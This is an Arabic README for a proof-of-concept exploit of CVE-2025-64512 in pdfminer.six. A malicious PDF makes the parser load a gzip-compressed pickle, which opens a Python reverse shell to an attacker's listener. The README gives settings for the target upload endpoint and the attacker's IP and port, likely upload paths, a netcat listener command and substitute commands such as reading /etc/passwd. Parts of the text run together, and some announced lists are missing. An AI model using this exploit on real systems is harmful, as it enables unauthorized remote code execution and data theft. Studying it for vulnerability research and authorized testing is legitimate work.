
استغلال لـ CVE-2025-64512 للحصول على شل عكسي.
يوضح إثبات المفهوم هذا ثغرة في pdfminer.six (CVE-2025-64512) يمكن أن تؤدي إلى تنفيذ أوامر تعسفية عند معالجة ملف PDF ضار. يستغل الاستغلال ملف PDF معدّل يشير إلى ملف pickle مضغوط بتنسيق gzip وخبيث. عندما يقوم التطبيق الضعيف بتحليل ملف PDF، فإنه يقوم بتحميل ملف pickle وينفذ الحمولة المضمنة.
تم تكوين إثبات المفهوم المرفق لتنفيذ صدفة عكسية من Python، ولكن يمكن استبدال الحمولة بأي أمر.
requestsقم بتثبيت التبعية المطلوبة:
pip install requests
قبل تشغيل الاستغلال، قم بتحرير قسم الإعدادات في exploit.py:
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
عنوان URL لنقطة نهاية الرفع الضعيفة.
مثال:
BASE_URL = "http://target/upload.php"
يقوم الاستغلال برفع كل من ملف PDF الضار وملف pickle المضغوط إلى نقطة النهاية هذه.
الدليل المطلق على الهدف حيث يتم تخزين الملفات المرفوعة.
مثال:
UPLOAD_DIR = "/var/www/html/uploads"
يتم تضمين هذا المسار داخل ملف PDF المُنشأ ويجب أن يطابق الموقع الذي سيقرأ منه التطبيق الضعيف ملف pickle المرفوع لاحقًا.
إذا كان دليل الرفع غير معروف، حدده أثناء عملية التعداد. اعتمادًا على التطبيق، تتضمن التقنيات المفيدة ما يلي:
تشمل المواقع النموذجية:
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
يعتمد الدليل الصحيح كليًا على التطبيق الهدف.
عنوان IP الخاص بالمستمع.
مثال:
LHOST = "10.10.14.5"
منفذ الاستماع للصدفة العكسية.
مثال:
LPORT = 4444
ابدأ مستمعًا قبل تشغيل الاستغلال:
nc -lvnp 4444
نفذ الاستغلال:
python3 exploit.py
سوف يقوم النص البرمجي بما يلي:
evil.pickle.gz.بدلاً من الصدفة العكسية، يمكن تنفيذ أي أمر من أوامر نظام التشغيل عن طريق تعديل الأمر المُمرر إلى:
create_pickle_with_cmd(command)
تتضمن الأمثلة:
id
whoami
uname -a
cat /etc/passwd
تم توفير إثبات المفهوم هذا لأغراض تعليمية فقط، وللبحث الأمني، ولاختبار الاختراق المصرح به. استخدمه فقط ضد الأنظمة التي لديك إذن صريح بإجراء اختبار أمني عليها.